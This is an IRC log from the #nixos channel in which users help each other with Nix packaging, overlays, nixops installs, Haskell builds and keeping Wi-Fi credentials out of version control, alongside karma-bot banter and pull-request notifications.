<jtojnar> hodapp: we alredy have GStreamer 1.0
<jtojnar> not even debian suppors 0.10
<hodapp> gaack
<hodapp> nixpkgs.gst_all_1.gstreamer?
<jtojnar> hodapp: yep
<jtojnar> hodapp: unfortunately, even draftsight 2018 seems to only support 0.10
papika has quit [Quit: The Lounge - https://thelounge.chat]
<jtojnar> (i tried grepping libgstreamer)
xy2_ has quit [Ping timeout: 240 seconds]
nuncanada has quit [Quit: Leaving]
<{^_^}> [nixpkgs] @srhb merged pull request #39295 → nano-wallet: init at 12.1 → https://git.io/vpYBz
<{^_^}> [nixpkgs] @srhb pushed 2 commits to master: https://git.io/vpw5i
<{^_^}> → 9f31a4d6 by @jluttine: nano-wallet: init at 12.1
<{^_^}> → 1d9330d6 by @srhb: Merge pull request #39295 from jluttine/add-nano-wallet
cryp2nomicon has joined #nixos
<hodapp> :|
<hodapp> damn binary packages
<hodapp> I forget from my work on this why it even needs gstreamer or if it's something I can just avoid it requiring
<hodapp> like, it's a bloody CAD package, why does it need audio and video? o_O
humanoyd has joined #nixos
Xal has quit [Ping timeout: 256 seconds]
taktoa has joined #nixos
Xal has joined #nixos
freeman42x[nix] has joined #nixos
<hodapp> I see from ArchLinux AUR: "I can confirm it's working fine after removing gstreamer0.10 from the dependency!"
thblt has quit [Remote host closed the connection]
xy2_ has joined #nixos
reinzelmann has joined #nixos
mekeor has joined #nixos
* hodapp twiddles thumbs while 593 MB of binary package downloads...
drakonis has joined #nixos
vcunat has quit [Quit: Leaving.]
<jD91mZM2> Is there a way to set useSandbox for a specific build?
<jD91mZM2> Like NIX_USE_SANDBOX=1 or something?
knupfer has quit [Ping timeout: 264 seconds]
<{^_^}> [nixpkgs] @LnL7 merged pull request #39979 → llvm5: 5.0.1 -> 5.0.2 → https://git.io/vpVwz
<{^_^}> [nixpkgs] @LnL7 pushed 2 commits to staging: https://git.io/vpwdd
<{^_^}> → 27d716f4 by @dtzWill: llvm5: 5.0.1 -> 5.0.2
<{^_^}> → 8994bf53 by @LnL7: Merge pull request #39979 from dtzWill/update/llvm-5.0.2
knupfer has joined #nixos
iyzsong has quit [Quit: ZNC 1.6.5 - http://znc.in]
daveo has quit [Ping timeout: 265 seconds]
fendor has joined #nixos
<{^_^}> [nixpkgs] @jD91mZM2 opened pull request #40009 → termplay: init at 2.0.3 → https://git.io/vpwFq
<clever> jD91mZM2: if you have root, you can use --option to set any flag in nix.conf
<jD91mZM2> clever++
<{^_^}> clever's karma got increased to 2
<drakonis> :o karma bot
<jD91mZM2> clever+=9999
<jD91mZM2> aww
<clever> lol
<jD91mZM2> infinisil: pls fix
<infinisil> Heh
<MichaelRaskin> ,tofu
<{^_^}> To get a sha256 hash of a new source, you can use the Trust On First Use model: use probably-wrong hash (for example: 0000000000000000000000000000000000000000000000000000) then replace it with the correct hash Nix expected.
<MichaelRaskin> drakonis: not just karma bot
<jD91mZM2> And it sends notifications every time I make one more PR to nixpkgs! It's the best bot
xcmw has joined #nixos
fendor has quit [Ping timeout: 240 seconds]
<MichaelRaskin> It's not the first bot to notify on PRs, though
ixxie has joined #nixos
<MichaelRaskin> We all know what usually happens next…
<jD91mZM2> No but it does the job well :D
<jD91mZM2> Wait what?
<MichaelRaskin> All of them did this job well…
<MichaelRaskin> Did
<jD91mZM2> oh no is there a curse of the pr bots?
<MichaelRaskin> Yes.
<infinisil> There is?
<MichaelRaskin> The curse is called «flood complaints to the author»
<jD91mZM2> {^_^}++
<{^_^}> {^_^}'s karma got increased to 116
<jD91mZM2> needs more karma
<isHavvy> {^_^}++
<{^_^}> {^_^}'s karma got increased to 117
<jD91mZM2> Thank you for your work isHavvy
<infinisil> You better not try to increase your owns karma
<jD91mZM2> Oo is there a special case for that?
<isHavvy> isHavvy++
<{^_^}> isHavvy's karma got decreased to -1
<jD91mZM2> OOO
<jD91mZM2> I like that
muzzy_ has joined #nixos
muzzy has joined #nixos
muzzy__ has joined #nixos
<isHavvy> Bog standard in every karma bot I've seen.
<jD91mZM2> isHavvy++
<{^_^}> isHavvy's karma got increased to 0
<jD91mZM2> you're back! :D
<MichaelRaskin> MichaelRaskin--
stephenjudkins has joined #nixos
<MichaelRaskin> Oh, but… wyhe4cu4t6eh++
<MichaelRaskin> wyhe4cu4t6eh++
<{^_^}> wyhe4cu4t6eh's karma got increased to 1
<jD91mZM2> ​++
<{^_^}> ​'s karma got increased to 2
<isHavvy> nixos++
<{^_^}> nixos's karma got increased to 1
<MichaelRaskin> NixOS++
<{^_^}> NixOS's karma got increased to 1
<isHavvy> Oh, capitalization isn't normalized.
<infinisil> Huh, why does " " work :/ I should refine the regex a bit more, also to allow "foo++ for being nice"
<clever> CLEVER++
<{^_^}> CLEVER's karma got increased to 1
<isHavvy> clever: How clever of you, to get around the bot like that.
<jD91mZM2> infinisil: In my "++" thing I might have used a zero-width space. Sshhhhh
<infinisil> Ohh haha
<makefu> 😂++
<{^_^}> 😂's karma got increased to 1
<clever> isHavvy: but it doesnt total with the other count
<isHavvy> Nope.
<jD91mZM2> infinisil: I'm not sure but [\p{Zs}\p{Cf}] seems like a regex that handles both unicode spaces and unicode invisible things. Jeez, regex isn't always fun apparently
<infinisil> Hmm alright, but regex implementation vary wildly with what things they support
<jD91mZM2> True true
<infinisil> Oh no javascript
<clever> jD91mZM2: this is whats wrong with unicode in software: https://www.youtube.com/watch?v=jC4NNUYIIdM
rauno has quit [Ping timeout: 256 seconds]
<infinisil> My karma implementation is just 15 lines long :)
<jD91mZM2> So it's clearly not enterprise ready /s
<infinisil> indeed!
Synthetica has joined #nixos
<{^_^}> [nixpkgs] @bkchr opened pull request #40010 → plasma5: 5.12.4 -> 5.12.5 → https://git.io/vpwbI
<infinisil> Oh and we passed 40000 PR's, nice! Let's see who got the lucky number: #40000
<{^_^}> https://github.com/NixOS/nixpkgs/pull/40000 (by JohnAZoidberg, open): nixos/documentation: Correct use of lib.optional
blob has joined #nixos
wchresta_ has joined #nixos
<jD91mZM2> I feel kind of bad for GitHub having to store all this on their servers :P
<clever> jD91mZM2: i recently saw a talk about the servers falling over from abuse
<clever> a single repo, and all of its forks, are held on one machine
<clever> which may also have other repos
<clever> and then they have an array of those
<clever> and probably backups as wel
<clever> and there are points where the repo gets too big and some features start to take too long to process
<jD91mZM2> I thought GitHub used Amazon S3
LeLa_ has joined #nixos
<LeLa_> hi what is this page? http://www.thedubber.altervista.org/ip/
leothrix has quit [Quit: ZNC 1.6.6 - http://znc.in]
LeLa_ has quit [Quit: KVIrc 4.2.0 Equilibrium http://www.kvirc.net/]
stephenjudkins has quit [Remote host closed the connection]
<jD91mZM2> clever: When you say a single repo is held on one machine... Do you mean that there is one physical machine per repository??!?
stephenjudkins has joined #nixos
stephenjudkins has quit [Remote host closed the connection]
rauno has joined #nixos
<clever> jD91mZM2: there may be several repos sharing a machine
cryp2nomicon has quit [Quit: leaving]
<jD91mZM2> ok good phew
<clever> but all forks of that repo stay within the machine
<jD91mZM2> ah
<jD91mZM2> Is this more efficient perhaps, since it can use git magic?
<clever> ive found that any time i push a PR to my fork of nixpkgs, it has to upload the last 3 months of activity
<MichaelRaskin> It is not even git magic, they have their own magic
<clever> so my fork is not magically getting objects from upstream
<infinisil> Hmm... Couldn't git work with a git store like the nix store?
<infinisil> Because everything gets hashed too
<samueldr> wouldn't that cause an issue with private forks and (unlikely) enumeration of hashes?
<clever> infinisil: git also has pack files, where it compresses things using deltas
<infinisil> Oh wait, it's using SHA1 hah, probably could get collisions if every project were using a single location for its objects
<clever> samueldr: the git protocol only lets you reference things that are within a branch
<clever> samueldr: and this actually causes problems with pkgs.fetchgit
<clever> samueldr: you have to know what branch a given rev is on to clone it
<blob> Hey, guys! I almost created the new package for nixpkgs. May I send a pull request? Should I include myself in maintainer-list? May I join https://github.com/NixOS to maintain package?
<samueldr> blob: it's yes yes and no :)
xy2_ has quit [Ping timeout: 240 seconds]
<samueldr> being a member of the nixos org is for the trusted users which push and merge on the nixpkgs repo, but yes, open a pull request, and yes if you intend to maintina the package do add yourself to maintainers
<MichaelRaskin> blob: that third no is «maybe later», but you need some kind of track record
<ixxie> how do I install a release.nix to my user environment?
<blob> thanks, I got it :)
<samueldr> blob: with the CONTRIBUTINS.md, do read https://nixos.org/nixpkgs/manual/#chap-submitting-changes chapter 14. submitting changes
<samueldr> CONTRIBUTING*
<jD91mZM2> ixxie: `nix-env -iA release.nix` should work, no?
<clever> jD91mZM2: i cant find the link yet, but it was probably in https://githubengineering.com/
<jD91mZM2> or maybe `nix-env -f release.nix -iA package`
wchresta_ has quit [Ping timeout: 240 seconds]
<samueldr> ixxie: nix-env -f release.nix -i
<samueldr> or -if probably :)
<clever> id always use -A with it as well
<samueldr> hmmm, my release.nix is a derivation, what would the attribute be?
<clever> i always put a set in my release.nix, thats what hydra requires
<samueldr> ah!
<ixxie> thanks jD91mZM2, samueldr; the latter worked :)
<{^_^}> [nixpkgs] @ambrop72 opened pull request #40011 → Vscode backport → https://git.io/vpwbF
<jD91mZM2> I just realized I didn't set a license in the powerline-rs package. Would it be annoying to send off another PR or should I let it be?
<samueldr> annoying maybe, right definitely, though if it's updated often, you could always sneak it in the next update
<samueldr> (assuming it's already been merged, otherwise just push a new (squashed) commit)
<jD91mZM2> Good point. I might realease an update changing some defaults tomorrow which I've noticed are annoying
<jD91mZM2> But nobody will panic if I let it stay overnight?
<clever> jD91mZM2: i'll probably never find the link to that blog thing i saw, but it had stories about things like a lottery somebody held on github, the last person push a commit before time X wins
<clever> jD91mZM2: github told them not to, they did it anyway, and the users basically DDoS's the system with pushes :P
<jD91mZM2> wow
jD91mZM2 has quit [Quit: Leaving for the day, sorry]
<{^_^}> [nixpkgs] @xeji merged pull request #39929 → john: build with recent gcc → https://git.io/vp2lB
<{^_^}> [nixpkgs] @xeji pushed 3 commits to master: https://git.io/vpwNf
<{^_^}> → 07ee2b90 by @Mic92: john: build with recent gcc
<{^_^}> → 7ac652df by @Mic92: john: disable aarch64
<{^_^}> → 38ae2105 by @xeji: Merge pull request #39929 from Mic92/john
xy2_ has joined #nixos
kreetx has joined #nixos
<MichaelRaskin> «github told them not to, they did it anyway» — there are multiple interesting stories like that…
<clever> another was the demo repo that is in the github tutorial, the one everybody is told to fork
<clever> the system couldnt handle that many forks
krey has joined #nixos
<MichaelRaskin> There is also that story about people who recommended users to do --depth 1 checkouts, then full pulls of a package metadata repository
<MichaelRaskin> Turns out, pulls in repositories with half the history are a worst-case for some of GitHub server code
blankhart has quit [Ping timeout: 248 seconds]
<ixxie> how do I know if the program in my shell comes from my user nix-env or from my system?
<MichaelRaskin> which program
<clever> ixxie: run the type command on it
<MichaelRaskin> Ah right, which is not installed by default, and is not available as builtin in bash
<clever> and type can reveal aliases and functions
<samueldr> MichaelRaskin: the statement "which program" can be confusing :)
<{^_^}> [nixpkgs] @bfortz opened pull request #40012 → eid-mw: 4.1.19 -> 4.3.7 → https://git.io/vpwNR
<clever> type program too, people often just type program :P
<MichaelRaskin> Literal program, without even substituting the program name?
<MichaelRaskin> Into IRC?
<ixxie> clever: and /run/current-system/sw is the system not my user environment right?
<clever> usually i put the program name into the example
<clever> ixxie: correct, that comes from systemPackages
<infinisil> Oh.. Great.. Using stack with nix, has been working fine for a bit, but now something got corrupted in the stateful build directories and i can't build it anymore :/
<clever> infinisil: stack builds are impure, and often lack GC roots, so nix is free to garbage collect things its using
<clever> infinisil: i prefer using tools like stack2nix to convert it into proper nix expressions, then using nix-build
PLPD-Bot has quit [Remote host closed the connection]
<infinisil> But that's super slow
drakonis has quit [Read error: Connection reset by peer]
<infinisil> I need fast iteration for development
<clever> you can also nix-shell into any derivation in the tree and iterate within it
<clever> as long as you can confine your changes to a single cabal project
<infinisil> I mean stack has been working fine, i got no problems with it (except that)
<clever> if the state is corrupt, you can try just blowing away .stack-work and see if it repairs itself
PLPD-Bot has joined #nixos
<infinisil> It's actually weird, I got hosts A's HOME mounted to host B's HOME/A, and building it from host B works, from A it doesn't. I did rsync some files inbetween the hosts to not have to rebuild everything
<ixxie> clever: how can I get the one from nix-env to be the one running?
<{^_^}> [nixpkgs] @xeji merged pull request #39961 → ocamlPackages.git: 1.11.4 -> 1.11.5 → https://git.io/vpayk
<infinisil> (via sshfs)
<{^_^}> [nixpkgs] @xeji pushed 2 commits to master: https://git.io/vpwNj
<{^_^}> → d8ebe4f2 by @vbgl: ocamlPackages.git: 1.11.4 -> 1.11.5
<{^_^}> → ae148ea8 by @xeji: Merge pull request #39961 from vbgl/ocaml-git-1.11.5
<clever> infinisil: sharing the homes would actually make the GC issue i mentioned worse, and happen without a GC
<infinisil> clever: I'll try that
drakonis has joined #nixos
<clever> infinisil: since the libraries in the .stack-work link against paths in /nix/store, which dont exist on the 2nd machine
<infinisil> I am using a fixed nixpkgs for both, and stack uses that
<clever> ixxie: the packages in nix-env should appear first in $PATH, double-check that the binary even exists in ~/.nix-profile/bin/
<infinisil> Ah yes, removing .stack-work made it work
<clever> infinisil: even if you use the same nixpkgs, that doesnt mean the paths are downloaded on both boxes
<ixxie> clever: nope... hmmm
<clever> ixxie: then its not actually in nix-env, double-check nix-env -q to be sure
<infinisil> clever: But stack opens a nix-shell for building with the necessary libraries and the specified nixpkgs, shouldn't that work?
<clever> infinisil: ah, yeah, id expect that to work then, maybe config.nix and overrides?
<infinisil> What do you mean?
<ixxie> clever: it was listed (sorta) in nix-env -q; for context: I am trying to check a nixops PR from https://github.com/nh2/nixops/tree/issue-925-fix-digital-ocean-authToken-has-no-effect
reinzelmann has quit [Quit: Leaving]
<ixxie> clever: so I cloned the branch and did nix-env -f release.nix -i
<{^_^}> [nixpkgs] @svanderburg pushed to release-18.03 « libgdiplus: remove conflicting libungif that causes segfaults when opening a GIF file »: https://git.io/vpwAG
<ixxie> clever: nix-env -q lists nixops-tarball-1.6pre0_abcdef but I donnow what to make of tarball installed in my env
<clever> ixxie: you installs the tarball containing the source, not nix itself
<clever> ixxie: you need to add -A something, and point it to a derivation that contains the binary
<clever> ixxie: try doing `foo = import ./release.nix {}` and then `foo` in `nix repl` to see what attributes it has
devlinzed[m] has joined #nixos
blankhart has joined #nixos
devlinzed[m] has left #nixos ["User left"]
<ixxie> okay, nix-repl says /nix/var/nix/db isn't writable; permission denied
<ixxie> that's odd
<{^_^}> [nixpkgs] @xeji merged pull request #39770 → gitAndTools.gitRemoteGcrypt: 1.0.3 -> 1.1 → https://git.io/vp0ch
<{^_^}> [nixpkgs] @xeji pushed 2 commits to master: https://git.io/vpwAE
<{^_^}> → d86866cd by R. RyanTM: gitAndTools.gitRemoteGcrypt: 1.0.3 -> 1.1
<{^_^}> → dc4aa990 by @xeji: Merge pull request #39770 from r-ryantm/auto-update/git-remote-gcrypt
<ixxie> I shouldn
<infinisil> nix repl
<ixxie> I shouldnt have to sudo nix-repl right?
<clever> ixxie: use `nix repl` not `nix-repl`
<drakonis> nope
<ixxie> aah
<ixxie> lol
<ixxie> new world
<drakonis> you shouldn't
<clever> nix-repl is linked against nix1 and requires `export NIX_REMOTE=daemon`
<drakonis> nix 2.0 still not fully recommended right?
<clever> `nix repl` is linked against nix2, and auto-detects the daemon
<clever> drakonis: 18.03 defaults to nix 2
<infinisil> drakonis: It doesn't even have a man page, so not by me
<clever> ixxie: also, why are you trying to nix-env the master of nix?
<MichaelRaskin> nix-2.0 is one thing, nix program is another thing
<ixxie> clever: what do you mean? I am trying to nix-env nixops
<clever> ixxie: oh, didnt read the tarball name that closely
<clever> both nix and nixops have the same pattern
<ixxie> clever: the release has attributes called build, herznerBootstrap and tarball
<ixxie> and tests
<clever> ixxie: now look inside the build attribute
<clever> you should find one for each arch
<infinisil> MichaelRaskin: True, but since nix-build and co are pretty much the same as before, so I'd think the nix program is what people usually mean with Nix 2.0
<infinisil> s/so/
<ixxie> clever: I saw something like that in the release.nix
<MichaelRaskin> It's complicated, as nix-build behaviour is also slightly different
<clever> ixxie: 2018-03-03 12:00:22< clever> mkaito: ive also done nix-env -f release.nix -iA build.x86_64-linux
<oh_lawd> hmm, I didn't really get how these overlays work... I found mozilla's overlay for their stuff, got rust working already nicely, but I don't get how to use their firefox nightly setup...
<mightybyte> Anyone else have the callHackage function return the error "found zero or more than one cabal file"?
<ixxie> clever: yay! that did the trick
<ixxie> clever: thanks
<clever> mightybyte: does the github repo for it contain zero or more then one cabal file?
<mightybyte> No
<oh_lawd> do they work like ppa's or what?
<mightybyte> It's a core library
<drakonis> say what now
<clever> mightybyte: link?
<clever> oh_lawd: an overlay is a function that takes the current and future versions of nixpkgs, and returns a set of changes to apply
<drakonis> a ppa is just an debian repository running on ubuntu's infra
<clever> mightybyte: looks just fine
<oh_lawd> ok, so I should apply it to the scope of configuration.nix?
<oh_lawd> before defining packages
<clever> oh_lawd: nixpkgs.overlays is a config flag in configuration.nix
<oh_lawd> cool.
<mightybyte> unordered-containers = pkgs.haskellPackages.callHackage "unordered-containers" "0.2.9.0" {};
<mightybyte> I put that line in my default.nix file, but it gives me that error.
<{^_^}> [cabal2nix] @mdorman opened pull request #349 → gdk-x11-3.0: point to the gtk3 package → https://git.io/vpwAj
<clever> mightybyte: that works when i build it
<clever> mightybyte: can you gist more of the expresion?
<ixxie> hmm my configs no longer have any kind of nixosVersion :/
<clever> ixxie: thats a bug in nixops
<clever> yeah, that one
<ixxie> so I should use the overlay?
<clever> ixxie: i installed it from nixops master back in march and it works fine now
<mightybyte> clever: Ok, that's helpful. I'll look more into the surrounding context.
<mightybyte> Thanks
<ixxie> clever: this is my first overlay... what do I need to do besides create the file in order to make it work?
<jtojnar> jonafato: liferea just needs libgnome-keyring dependency
<clever> ixxie: where did you create the file?
<jtojnar> jonafato: but since it is deprecated, perhaps we should wait for https://github.com/lwindolf/liferea/issues/436
<ixxie> clever: ~/.config/nixpkgs/overlays/nixops.nix
<clever> ixxie: i believe nix-env will load that overlay by default
muzzy_ has quit [Read error: Connection reset by peer]
muzzy has quit [Read error: Connection reset by peer]
yooooo has joined #nixos
<clever> ixxie: so you can just nix-env -iA nixos.nixops, if you used nixops= in the overlay
muzzy__ has quit [Read error: Connection reset by peer]
blankhart has quit [Ping timeout: 276 seconds]
<ixxie> clever: well that is the step I missed, reinstalled the thing :P
maingo has joined #nixos
<ixxie> clever: (I have no idea how overlays work)
<clever> when nixpkgs is loaded, it will auto-load all overlays, so the package set you get from nixpkgs is pre-modified
<clever> that will then affect most nix tools (nix-env, nix-build, nix-shell)
<clever> so any attempt to install/upgrade from nixpkgs will apply whatever the overlays said to change
<ixxie> right
<ixxie> makes sense
<ixxie> but now the build fails for some reason
<srk> ixxie: I'm switching to https://github.com/grafted-in/nixops-manager today to solve such issues
<clever> ixxie: can you gist your overlay file?
<{^_^}> [nixpkgs] @jtojnar merged pull request #40008 → liferea: 1.12.2 -> 1.12.3 → https://git.io/vpw7L
<{^_^}> [nixpkgs] @jtojnar pushed 2 commits to master: https://git.io/vpwxg
<{^_^}> → c6a82cc4 by @jonafato: liferea: 1.12.2 -> 1.12.3
<{^_^}> → d0110ecf by @jtojnar: Merge pull request #40008 from jonafato/liferea-1.12.3
yooooo has quit [Ping timeout: 260 seconds]
<ixxie> clever: its just the one from https://github.com/NixOS/nixops/issues/873
<srk> ixxie: also nix-shell sets IN_NIX_SHELL env var that can be used to change prompt to indicate you're in a shell
<clever> ixxie: it would help if i knew the error msg the build fails with
jgertm has joined #nixos
<ixxie> clever: I just needed to install from the release.nix instead of the channel
Fare has quit [Ping timeout: 240 seconds]
<ixxie> srk: I am completely new to nixops and would like to orientate myself with the basics before moving on to other tools
<srk> ixxie: that tool is just a wrapper that pins nixpkgs to specific version (along with nixops) and uses local state files instead of one shared in ~/.nixops
pie__ has joined #nixos
acarrico has joined #nixos
<srk> ixxie: if you look at nixops/dev-shell you can see it calling release.nix -A build.$SYSTEM
<clever> srk: `nixops modify -I nixpkgs=URL` can be used to pin the nixpkgs nixops uses
pie_ has quit [Ping timeout: 248 seconds]
<oh_lawd> hmm, so if I have the firefox-overlay.nix in `~/.config/nixpkgs/overlays`, it should just work?
<clever> oh_lawd: probably
<srk> ixxie: you can either use ./dev-shell from repo to enter shell or include that from overlay.. or override nixops package src
<oh_lawd> at least firefox-nightly-bin in systemPackages doesn't work directly
<clever> oh_lawd: oh, and nixos doesnt obey ~/.config/nixpkgs/overlays
<oh_lawd> or is it that I can't use it in systemPackages?
<srk> clever: good to know, nixops manager script is still quite usefull cause of the git crypted local state file(s)
<clever> oh_lawd: nixos only obeys nixpkgs.overlays
<oh_lawd> oh, that's why
<clever> oh_lawd: nixpkgs.overlays = [ (import /path/to/firefox-overlay.nix) ];
<oh_lawd> ok, let's try :)
<ixxie> srk: maybe, but I still wanna take this step by step :P I am a bit slow with these things
blankhart has joined #nixos
<ixxie> srk: Nix stuff doesn't exactly come that naturally to me :P
<srk> ixxie: it depends, if you want to share your deployments that thing is really nice. for playing with nixops you don't need that obviously
<srk> ixxie: it comes with practice :)
<ixxie> srk: I wanna get my first deployment going for now
rain1 has joined #nixos
<srk> (=time) :D
frank87 has quit [Remote host closed the connection]
<ixxie> yeah indeed it does
frank87 has joined #nixos
<srk> today I managed to reverse engineer scopedImport so I can use 17.09 nixops images with built-in 18.09 images.. :)
<srk> was wondering how does the <nixpkgs> magic works till I've found out about __nixPath :D
<ixxie> clever: the overlay should be able to work for my nix-env -f release.nix -iA build.x86_64-linux call right?
<clever> ixxie: release.nix doesnt touch the nixops in nixpkgs, it forces it to build from ./.
<clever> so the overlay wont come into play
<codygman> I have a nix-based haskell project that is hello world generated by cabal init and shell.nix/default.nix generated from cabal2nix/cabal2nix --shell. How can I add a dependency that isn't on nix but is on hackage?
<clever> srk: if you type <nixpkgs> into a nix file, it will parse as-if you had typed (__findFile __nixPath "nixpkgs")
<ixxie> clever: anyway I can get it to come into play?
<clever> ixxie: manually edit the file that the overlay was patching
<srk> clever: cool, even deeper explanation
<ixxie> clever: :P
<clever> srk: and using scopedImport, you can mutate what __findFile or __nixPath eval to
<ixxie> clever: alright ^^
<codygman> IIRC there is a new shorthand function for using packages from hackage directly.
stekke[m] has joined #nixos
<oh_lawd> uh, this nightly overlay install ff57 nightly
<oh_lawd> that's quite old :(
<clever> codygman: 2018-05-05 16:34:13 < mightybyte> unordered-containers = pkgs.haskellPackages.callHackage "unordered-containers" "0.2.9.0" {};
<oh_lawd> so I guess I need to just follow the nixos ff releases, which is 59 now
<srk> clever: at first I've only changed __nixPath but it didn't work for sub-modules only toplevel one. then I've found this recursive madness https://github.com/NixOS/nixpkgs/pull/10258/files#diff-46d38a04634eee9a218f83f4623f0c31R149 which works after changing nixPath to __nixPath
frank87 has quit [Remote host closed the connection]
frank87 has joined #nixos
<clever> srk: yep, that lets you mutate the "global" scope for future files you import
<clever> srk: normally, nix files are pure, and cant access the locals in another file
<srk> right
zybell has quit [Ping timeout: 264 seconds]
knupfer has quit [Remote host closed the connection]
tertle||eltret has joined #nixos
frank87 has quit [Remote host closed the connection]
frank87 has joined #nixos
xcmw has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
<srk> clever: not-os based vpsadminos is going for a staging deployment in couple of days acting as playground node along with our old infra, polishing last few issues with netboot deployment
jgertm has quit [Ping timeout: 268 seconds]
<oh_lawd> oh, it's latest.firefox-nighly-bin
Stekke_ has joined #nixos
<clever> srk: nice
knupfer has joined #nixos
<srk> clever: fun stuff.. like netboot is running in openvz nixos container from the old infra serving the next-gen images for new headless nodes
<srk> can't even update the deployment to 18.03 due to more systemd and old kernel issues so I'm hoping the migration goes well and we won't have issues with legacy kernels anymore
<codygman> clever: thanks. that worked for me after I put it in shell.nix
<{^_^}> [nixpkgs] @joachifm merged pull request #39858 → cjdns: 20.1 -> 20.2 → https://git.io/vpzZo
<{^_^}> [nixpkgs] @joachifm pushed 2 commits to master: https://git.io/vpwpJ
<{^_^}> → 6846c45e by @akru: cjdns: 20.1 -> 20.2
<srk> which is where scopedImport saved the day \o/
<{^_^}> → a587d545 by @joachifm: Merge pull request #39858 from akru/cjdns-v20.2
<clever> srk: i try to avoid using <nixpkgs> in expressions now, so you dont need that hack
<{^_^}> [nixpkgs] @joachifm merged pull request #39898 → terminology: 1.1.1 -> 1.2.0 → https://git.io/vpgZb
<{^_^}> [nixpkgs] @joachifm pushed 2 commits to master: https://git.io/vpwpT
<{^_^}> → 12b78da1 by @romildo: terminology: 1.1.1 -> 1.2.0
<{^_^}> → d66100fa by @joachifm: Merge pull request #39898 from romildo/upd.terminology
<{^_^}> [nixpkgs] @joachifm merged pull request #39902 → enlightenment: add dependency on mesa_noglu → https://git.io/vpgW1
<{^_^}> [nixpkgs] @joachifm pushed 2 commits to master: https://git.io/vpwpk
<{^_^}> → d76ac270 by @romildo: enlightenment: add dependency on mesa_noglu
<{^_^}> → cc2880a7 by @joachifm: Merge pull request #39902 from romildo/fix.enlightenment
humanoyd has quit [Quit: WeeChat 2.1]
<srk> clever: yeah, I was looking at where it is used and decided not to change/ propagate it to submodules (stuff like <nixpkgs/nixos/lib/make-squashfs.nix>)
<srk> I kind-of like the scoped solution
<{^_^}> [nixpkgs] @joachifm merged pull request #40000 → nixos/documentation: Correct use of lib.optional → https://git.io/vpwr3
<{^_^}> [nixpkgs] @joachifm pushed 2 commits to master: https://git.io/vpwpt
<{^_^}> → 43650115 by @JohnAZoidberg: nixos/documentation: Correct use of lib.optional
<{^_^}> → 1be056ca by @joachifm: Merge pull request #40000 from JohnAZoidberg/docmodule-optional-fix
<clever> srk: pkgs.path + "/nixos/lib/make-squashfs.nix"
<ixxie> clever: does substituteInPlace work like sed substitution?
<srk> clever: true
<clever> ixxie: yeah
goibhniu has quit [Ping timeout: 240 seconds]
xcmw has joined #nixos
doyougnu has joined #nixos
<{^_^}> [nixpkgs] @xeji merged pull request #39055 → firewall service: run stop commands in reload → https://git.io/vpUUN
<{^_^}> [nixpkgs] @xeji pushed 2 commits to master: https://git.io/vpwpG
<{^_^}> → b81aa028 by @abbradar: firewall service: run stop commands in reload
<{^_^}> → 76c8e5ea by @xeji: Merge pull request #39055 from abbradar/reload-stop
zybell has joined #nixos
shabius has joined #nixos
<ixxie> thanks clever
shabius has quit [Remote host closed the connection]
shabius has joined #nixos
<codygman> How would I add a buildInput such as chromedriver to this shell.nix http://dpaste.com/28FK355?
sigmundv__ has joined #nixos
jtojnar has quit [Ping timeout: 248 seconds]
<oh_lawd> how do you store wifi passwords if you push your configs to a repository?
<oh_lawd> wpa_supplicant.conf?
<clever> oh_lawd: i manage /etc/wpa_supplicant.conf manually
<clever> nixos just lacks one on initial bootup, and i scp it from another laptop
jtojnar has joined #nixos
<oh_lawd> ok, makes sense
<oh_lawd> hmm, there's also the cifs mount credentials that can't follow in the repository
<clever> i also use a secrets.nix containing { name = "hunter2"; }
<oh_lawd> need to think a bit how can I transfer those + password wallet, ssh-keys et.al safely when I create a new installation
<clever> and then in my configuration.nix i have let secrets = import ./secrets.nix; in { ...
<clever> then i can refer to the values in configuration.nix, and keep them in one file that is in .gitignore
shabius has quit [Quit: Leaving]
<oh_lawd> ok, and then keep that file in a usb stick or something
<oh_lawd> copy it when doing a new installation
<clever> yep
<drakonis> someone help out the guy on #nixos-dev
<clever> also of note, you can aim nixos-install at a usb stick
<clever> and you can just have a fully working nixos install on USB
<clever> then you can just boot into a customized env, that already has the secrets in the right spots, and just: cp /etc/wpa_supplicant.conf /mnt/etc/wpa_supplicant.conf
<ghostyy> hey, i have a question - if i had a programming langyuage with packages for different modules and stuff, dependencies between modules, how easy would it be to use nix's package manager to do package management (building + dependency resolution + distributing) for those packages? would i need to modify nix? im assuming id have to at least set up some kind of private nix repo for distributing the packages + nix expressions
<ghostyy> and do nix developers consider this an important use case for their software (making it easy to use for other people to use nix for managing packages in their own software ecosystem)?
<clever> ghostyy: it should be possible purely with nix scripting, no need to modify nix itself
shabius has joined #nixos
blob__ has joined #nixos
<infinisil> oh_lawd: If you wanna use configuration.nix you can also just use the supplicant options to specify your wifi passwords
<{^_^}> [nixpkgs] @xeji pushed 2 commits to master: https://git.io/vpwhJ
<{^_^}> → 919d824e by @romildo: iconpack-obsidian: init at 4.0.1
<{^_^}> → a67cca80 by @xeji: Merge pull request #39941 from romildo/upd.iconpack-obsidian
<{^_^}> [nixpkgs] @xeji merged pull request #39941 → iconpack-obsidian: init at 4.0.1 → https://git.io/vp2bx
<clever> ixxie: then they are in your configuration.nix, and you need internet access to rebuild the config, to get internet access
blob__ has quit [Client Quit]
daveo has joined #nixos
tusj has quit [Quit: Leaving]
<ixxie> clever: was that intended to me?
<daveo> jD91mZM2: something like ...
blob has quit [Ping timeout: 264 seconds]
phdoerfler has joined #nixos
<infinisil> oh_lawd: By putting `{ networking.wireless.networks.myWifiName.psk = "passw0rd"; }` into private.nix, adding private.nix to your .gitignore, and importing it by adding `imports = [ ./private.nix ];` to your configuration.nix
<daveo> services.xserver = {
<daveo> enable = true;
<daveo> xkbOptions = [
<daveo> "compose:strl_alt_bksp"
<daveo> ];
<daveo> ...
<daveo> };
<infinisil> ,paste daveo
<{^_^}> daveo: Use a website such as http://nixpaste.lbr.uno/ or https://gist.github.com/ to share anything that's longer than a couple lines
<daveo> thx
<daveo> :o
<codygman> I tried adding chromeDriver to my haskell project, but I was wrong about adding it mkDerivation.buildInputs, how can I do this? Here are my shell.nix, default.nix, and project.cabal files: https://gist.github.com/codygman/0fcc522ee1ef37158253239a0b6980f3
<oh_lawd> infinisil: yep
<clever> ixxie: oops, that was for infinisil
<oh_lawd> that seems to work
coot has quit [Quit: coot]
phdoerfler1 has joined #nixos
<zybell> ghostyy:You simply use the name of the package mgr for that lang, add '2nix' to that, look in nixpkgs for that name,install and youre set. You are not the first.
<infinisil> clever: Ah yes that's true
